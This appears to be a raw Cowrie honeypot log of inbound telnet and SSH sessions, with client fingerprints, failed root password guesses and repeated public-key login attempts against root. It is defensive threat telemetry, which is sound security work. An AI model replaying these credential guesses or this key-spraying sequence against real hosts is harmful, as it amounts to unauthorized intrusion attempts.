{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee9e1441531","protocol":"telnet","message":"New connection: 135.148.14.151:35206 (159.203.135.109:23) [session: 3ee9e1441531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:09.992276Z"}
{"eventid":"cowrie.session.closed","duration":120.00394892692566,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:13.035856Z","src_ip":"149.34.216.141","session":"4612aefbf503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40590,"dst_ip":"159.203.135.109","dst_port":22,"session":"82a576f0267c","protocol":"ssh","message":"New connection: 194.59.206.2:40590 (159.203.135.109:22) [session: 82a576f0267c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:18.547178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:18.552973Z","src_ip":"194.59.206.2","session":"82a576f0267c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01164507865906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:18.557107Z","src_ip":"149.34.216.141","session":"a64ada19168a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:18.645417Z","src_ip":"194.59.206.2","session":"82a576f0267c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:18.741533Z","src_ip":"194.59.206.2","session":"82a576f0267c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53972,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a26de02acc","protocol":"telnet","message":"New connection: 149.34.216.141:53972 (159.203.135.109:23) [session: 34a26de02acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:19.948018Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.34.216.141","src_port":53665,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d04c91cb5cf","protocol":"telnet","message":"New connection: 149.34.216.141:53665 (159.203.135.109:23) [session: 5d04c91cb5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:22.036503Z"}
{"eventid":"cowrie.session.closed","duration":38.49411940574646,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:42.109010Z","src_ip":"135.148.14.151","session":"3acfd26943c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86861515045166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:45.482822Z","src_ip":"135.148.14.151","session":"cc2248f859a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17831087112427,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:22:48.170420Z","src_ip":"135.148.14.151","session":"3ee9e1441531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":34468,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c65486f0ea","protocol":"ssh","message":"New connection: 46.19.67.181:34468 (159.203.135.109:22) [session: e7c65486f0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:22.243663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:22.248759Z","src_ip":"46.19.67.181","session":"e7c65486f0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:22.364318Z","src_ip":"46.19.67.181","session":"e7c65486f0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uliana","message":"login attempt [root/uliana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:22.711533Z","src_ip":"46.19.67.181","session":"e7c65486f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:23.829253Z","src_ip":"46.19.67.181","session":"e7c65486f0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52980,"dst_ip":"159.203.135.109","dst_port":22,"session":"6941561f37ce","protocol":"ssh","message":"New connection: 103.172.78.219:52980 (159.203.135.109:22) [session: 6941561f37ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:31.806418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:31.812129Z","src_ip":"103.172.78.219","session":"6941561f37ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:32.060028Z","src_ip":"103.172.78.219","session":"6941561f37ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jerome","message":"login attempt [root/jerome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:32.800563Z","src_ip":"103.172.78.219","session":"6941561f37ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:34.050474Z","src_ip":"103.172.78.219","session":"6941561f37ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47106,"dst_ip":"159.203.135.109","dst_port":23,"session":"f296e6b45ac4","protocol":"telnet","message":"New connection: 135.148.14.151:47106 (159.203.135.109:23) [session: f296e6b45ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:39.202462Z"}
{"eventid":"cowrie.session.closed","duration":120.00486612319946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:55.649856Z","src_ip":"179.102.17.221","session":"fb0dce225a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0012776851654,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:23:55.718910Z","src_ip":"179.102.17.221","session":"3e502ae52cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00177693367004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:02.581875Z","src_ip":"179.102.17.221","session":"cbc7b0eaa84f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":40702,"dst_ip":"10.17.0.5","dst_port":22,"session":"471d26cc8b18","protocol":"ssh","message":"New connection: 198.46.134.148:40702 (10.17.0.5:22) [session: 471d26cc8b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.697316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.705504Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.735506Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:0d:4a:41:29:1b:d6:f4:cc:be:47:0b:2e:2c:ac:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+OtOIhlhZQgTcVA+FGeLYm8IbX6c9QqbIk8jjjQePgmzib9NauNuWXMai1U2CEr4W1B2MMAxm4WHACDsOXDsbUdssFwaLCyVCl3Q2JHPXmdY7JaTbS7EHTZOqFNIIr8d7cCfiQCknh6m8hWasAMOvPVwQtuUnF1zEAEVW60Me24w7qz1JEBN6yU93zZlzJrYmU2ZU9pPp5PNIiSsZzAHxRpyP7tsnoCk0sSCl7GxalJOoe8/aj3qzmCR7HtPGXqws3I1Ruu9dib7ci+JIfjE6v5+ncU1MAOfyBOD2TMllAcBV4YuSibtQ3a+FAOkfb1X17B3WiKsYmGpoEcFm/EF9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:0d:4a:41:29:1b:d6:f4:cc:be:47:0b:2e:2c:ac:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.850967Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:0d:4a:41:29:1b:d6:f4:cc:be:47:0b:2e:2c:ac:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+OtOIhlhZQgTcVA+FGeLYm8IbX6c9QqbIk8jjjQePgmzib9NauNuWXMai1U2CEr4W1B2MMAxm4WHACDsOXDsbUdssFwaLCyVCl3Q2JHPXmdY7JaTbS7EHTZOqFNIIr8d7cCfiQCknh6m8hWasAMOvPVwQtuUnF1zEAEVW60Me24w7qz1JEBN6yU93zZlzJrYmU2ZU9pPp5PNIiSsZzAHxRpyP7tsnoCk0sSCl7GxalJOoe8/aj3qzmCR7HtPGXqws3I1Ruu9dib7ci+JIfjE6v5+ncU1MAOfyBOD2TMllAcBV4YuSibtQ3a+FAOkfb1X17B3WiKsYmGpoEcFm/EF9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.854876Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:30:28:9d:36:40:5c:74:49:fc:71:ce:9c:e0:98:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmqjBsAD2G65+k7Hb7kLIRn64DR7Tp3fLhxcYAvbu9BDuFCTaSQ5Krde1fZGvoX9xoXrMZYbm2DQNvVxLY6jJMKcxV/0srqbYoYj/DOkkyjlWq/PrAmJ41gyfx+jBrjW9bqywUmk9oIQWOQeasI8IbbQr96uL5HnaeV4xNJNVocPj46DizRlX7qNU/Itj4Zq5J3Q1iRn4Hy0jdt+Vbqcx2BO7Ow6W6/ulgAv1IQKL7ZlhTPKc3r6TlE78aOF4PItY2tm9YKupLwhyzaV/UdMS+sVVbocS6Q2NW0/NtJiKyvB/V4E3KDpr8458+ikmG4gT6os8AyRmbYpNS7C9PLef","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:30:28:9d:36:40:5c:74:49:fc:71:ce:9c:e0:98:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.887841Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:30:28:9d:36:40:5c:74:49:fc:71:ce:9c:e0:98:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmqjBsAD2G65+k7Hb7kLIRn64DR7Tp3fLhxcYAvbu9BDuFCTaSQ5Krde1fZGvoX9xoXrMZYbm2DQNvVxLY6jJMKcxV/0srqbYoYj/DOkkyjlWq/PrAmJ41gyfx+jBrjW9bqywUmk9oIQWOQeasI8IbbQr96uL5HnaeV4xNJNVocPj46DizRlX7qNU/Itj4Zq5J3Q1iRn4Hy0jdt+Vbqcx2BO7Ow6W6/ulgAv1IQKL7ZlhTPKc3r6TlE78aOF4PItY2tm9YKupLwhyzaV/UdMS+sVVbocS6Q2NW0/NtJiKyvB/V4E3KDpr8458+ikmG4gT6os8AyRmbYpNS7C9PLef","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.893117Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:98:d7:d9:da:24:99:00:81:75:9d:d8:a8:8b:22:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfkjditnbDh/UaDCrq6ZzbZol0nRo6Tx5IWTJw4rHiiaMs5uI79Hl2PgkUqgGGAQWWDI+6i/MirgDfreJeFNyocGcfNnqM2TU5Vgad2MaRvyIZYJdwS4XuiD1NHRibLYl26HcvoTEmxoEuNx7x0sEFHTNH2EoNCaeZJncNZw20zAP1nNVoXzS7uDkC+e7T4qbd3KN/xKU21EQDRK5B5FH1mtLm/Cyh2qlZSRyjResLLB3TO0MS1Rk2XcAC7brAeF7a86ddckvF/HFhAByIkJh1m5FU815CvB/40sHMtQdRa9LFEbUGML12YBFD0+tevUHO7W8aHY0evp3f3b1FEJE3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:98:d7:d9:da:24:99:00:81:75:9d:d8:a8:8b:22:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.926897Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:98:d7:d9:da:24:99:00:81:75:9d:d8:a8:8b:22:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfkjditnbDh/UaDCrq6ZzbZol0nRo6Tx5IWTJw4rHiiaMs5uI79Hl2PgkUqgGGAQWWDI+6i/MirgDfreJeFNyocGcfNnqM2TU5Vgad2MaRvyIZYJdwS4XuiD1NHRibLYl26HcvoTEmxoEuNx7x0sEFHTNH2EoNCaeZJncNZw20zAP1nNVoXzS7uDkC+e7T4qbd3KN/xKU21EQDRK5B5FH1mtLm/Cyh2qlZSRyjResLLB3TO0MS1Rk2XcAC7brAeF7a86ddckvF/HFhAByIkJh1m5FU815CvB/40sHMtQdRa9LFEbUGML12YBFD0+tevUHO7W8aHY0evp3f3b1FEJE3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.932758Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:a4:1a:cf:81:53:72:09:60:51:f4:a8:4d:e6:c5:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWpRSAkysdKr36LnfhWCqvwlEGj6jL6mS362nw1B9BQ311jic1wULV1J2EpvHzapa8aG6zkTgUVMBfOaiQisvl20HDPgTztD4yCxNzAsRDQWDmCc3bYieCGhjYmj9wSVr6ctrwjm72K7VkPCQQXuExkxYDWvSfk/jeS4qvtGZ2RRAfkMTvo8uyhu7UQIEXLnyJL0gSrXVoRmWSaV2Xr/KWXwvx65kfhrhrd/nuFbXRoQ7/dIQNtwShoGiP22tk7ey4WQLjv3i39UylDrlESXOPWoDCunTm1byy41H63EDfK2mRauROS9TBQE9kDs6ZPNeciU3larDr4p5mQHxURRv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:a4:1a:cf:81:53:72:09:60:51:f4:a8:4d:e6:c5:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.968081Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:a4:1a:cf:81:53:72:09:60:51:f4:a8:4d:e6:c5:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWpRSAkysdKr36LnfhWCqvwlEGj6jL6mS362nw1B9BQ311jic1wULV1J2EpvHzapa8aG6zkTgUVMBfOaiQisvl20HDPgTztD4yCxNzAsRDQWDmCc3bYieCGhjYmj9wSVr6ctrwjm72K7VkPCQQXuExkxYDWvSfk/jeS4qvtGZ2RRAfkMTvo8uyhu7UQIEXLnyJL0gSrXVoRmWSaV2Xr/KWXwvx65kfhrhrd/nuFbXRoQ7/dIQNtwShoGiP22tk7ey4WQLjv3i39UylDrlESXOPWoDCunTm1byy41H63EDfK2mRauROS9TBQE9kDs6ZPNeciU3larDr4p5mQHxURRv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:04.974727Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:2a:7c:4f:cd:f3:3f:5e:42:d8:30:ad:b8:9b:5b:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyo5EVXoaS0FLWJBb6pZ9V76sRbzfuI1eFilbtoaXNrrTPHskNTWvKRb+qvnlcRwjlPwOmO5OeMYlTw6pMIh3dM6Ho/vDV+6fV9AzbsFqG8FmojJvqD1VrDNEJNfOQtYEMxeAu76pvGqqfEVkDh8ElVkvXJFgaUG2A8OleoDjsWZzaLPzPDFX8H4l6Xa8hNPe631U8sWwasclkTDgPUl4ngs1n8iJDoYrW76plcp5HMS9CFBSFN5viUhAwFwWU0D8OL3h+4fKOAJOe9pjRyZkxnkBHlq6gbp9EjZyhUAC1uY9fzGYKmsIWwk+isKrXzyrAZBsvPagOG7RZWs6oBhKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:2a:7c:4f:cd:f3:3f:5e:42:d8:30:ad:b8:9b:5b:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:24:05.007746Z","src_ip":"198.46.134.148","session":"471d26cc8b18","protocol":"ssh"}
